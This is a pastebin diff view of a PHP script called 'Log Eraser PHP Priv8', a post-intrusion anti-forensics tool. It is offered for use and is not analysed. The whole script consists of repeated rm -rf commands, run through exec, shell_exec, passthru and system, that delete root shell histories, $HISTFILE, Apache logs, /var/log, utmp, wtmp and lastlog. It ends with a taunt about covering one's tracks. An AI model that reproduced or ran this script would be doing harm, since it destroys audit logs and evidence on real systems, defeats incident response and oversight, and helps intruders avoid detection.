View difference between Paste ID: nG2hGgQn and KshsbGBr
SHOW: | | - or go back to the newest paste.
1
<?php
2
// install for ubuntu/debain apt-get install php7.0-cli -y -> centos nothing to be installed for now!
3
// usage php Log_Eraser.php
4
@error_reporting(0);
5
set_time_limit(0);
6
system("clear");
7
8
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
9
print "|Log Eraser PHP Priv8                               |\n";
10
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
11
12
sleep(1);  
13
print "\n Logs Eraser Started...\!/";
14
sleep(2);
15
16
17
18
{
19
20
exec("rm -rf /tmp/logs");
21
exec("rm -rf /root/.ksh_history");
22
exec("rm -rf /root/.bash_history");
23
exec("rm -rf /root/.bash_logout");
24
exec("rm -rf /usr/local/apache/logs");
25
exec("rm -rf /usr/local/apache/log");
26
exec("rm -rf /var/apache/logs");
27
exec("rm -rf /var/apache/log");
28
exec("rm -rf /var/run/utmp");
29
exec("rm -rf /var/logs");
30
exec("rm -rf /var/log");
31
exec("rm -rf /var/adm");
32
exec("rm -rf /etc/wtmp");
33
exec("rm -rf /etc/utmp");
34
exec("rm -rf $HISTFILE");
35
exec("rm -rf /var/log/lastlog");
36
exec("rm -rf /var/log/wtmp");
37
38
shell_exec("rm -rf /tmp/logs");
39
shell_exec("rm -rf /root/.ksh_history");
40
shell_exec("rm -rf /root/.bash_history");
41
shell_exec("rm -rf /root/.bash_logout");
42
shell_exec("rm -rf /usr/local/apache/logs");
43
shell_exec("rm -rf /usr/local/apache/log");
44
shell_exec("rm -rf /var/apache/logs");
45
shell_exec("rm -rf /var/apache/log");
46
shell_exec("rm -rf /var/run/utmp");
47
shell_exec("rm -rf /var/logs");
48
shell_exec("rm -rf /var/log");
49
shell_exec("rm -rf /var/adm");
50
shell_exec("rm -rf /etc/wtmp");
51
shell_exec("rm -rf /etc/utmp");
52
shell_exec("rm -rf $HISTFILE");
53
shell_exec("rm -rf /var/log/lastlog");
54
shell_exec("rm -rf /var/log/wtmp");
55
56
passthru("rm -rf /tmp/logs");
57
passthru("rm -rf /root/.ksh_history");
58
passthru("rm -rf /root/.bash_history");
59
passthru("rm -rf /root/.bash_logout");
60
passthru("rm -rf /usr/local/apache/logs");
61
passthru("rm -rf /usr/local/apache/log");
62
passthru("rm -rf /var/apache/logs");
63
passthru("rm -rf /var/apache/log");
64
passthru("rm -rf /var/run/utmp");
65
passthru("rm -rf /var/logs");
66
passthru("rm -rf /var/log");
67
passthru("rm -rf /var/adm");
68
passthru("rm -rf /etc/wtmp");
69
passthru("rm -rf /etc/utmp");
70
passthru("rm -rf $HISTFILE");
71
passthru("rm -rf /var/log/lastlog");
72
passthru("rm -rf /var/log/wtmp");
73
74
75
system("rm -rf /tmp/logs");
76
sleep(2);
77
print "Deleted [+].../tmp/logs \n";
78
sleep(2);
79
80
system("rm -rf /root/.bash_history");
81
sleep(2);
82
print "Deleted [+].../root/.bash_history \n";
83
84
system("rm -rf /root/.ksh_history");
85
sleep(2);
86
print "Deleted [+].../root/.ksh_history \n";
87
88
system("rm -rf /root/.bash_logout");
89
sleep(2);
90
print "Deleted [+].../root/.bash_logout \n";
91
92
system("rm -rf /usr/local/apache/logs");
93
sleep(2);
94
print"Deleted [+].../usr/local/apache/logs \n";
95
96
system("rm -rf /usr/local/apache/log");
97
sleep(2);
98
print"Deleted [+].../usr/local/apache/log \n";
99
100
system("rm -rf /var/apache/logs");
101
sleep(2);
102
print"Deleted [+].../var/apache/logs \n";
103
104
system("rm -rf /var/apache/log");
105
sleep(2);
106
print"Deleted [+].../var/apache/log \n";
107
108
system("rm -rf /var/run/utmp");
109
sleep(2);
110
print"Deleted [+].../var/run/utmp \n";
111
112
system("rm -rf /var/logs");
113
sleep(2);
114
print"Deleted [+].../var/logs \n";
115
116
system("rm -rf /var/log");
117
sleep(2);
118
print"Deleted [+].../var/log \n";
119
120
system("rm -rf /var/adm");
121
sleep(2);
122
print"Deleted [+].../var/adm \n";
123
124
system("rm -rf /etc/wtmp");
125
sleep(2);
126
print"Deleted [+].../etc/wtmp \n";
127
128
system("rm -rf /etc/utmp");
129
sleep(2);
130
print"Deleted [+].../etc/utmp \n";
131
132
system("rm -rf $HISTFILE");
133
sleep(2);
134
print"Deleted [+]...$HISTFILE \n"; 
135
136
system("rm -rf /var/log/lastlog");
137
sleep(2);
138
print"Deleted [+].../var/log/lastlog \n";
139
140
system("rm -rf /var/log/wtmp");
141
sleep(2);
142
print"Deleted [+].../var/log/wtmp \n";
143
144
sleep(4);
145
146
print "Take Care of Your Ass !!! :D \n";
147
148
}
149
?>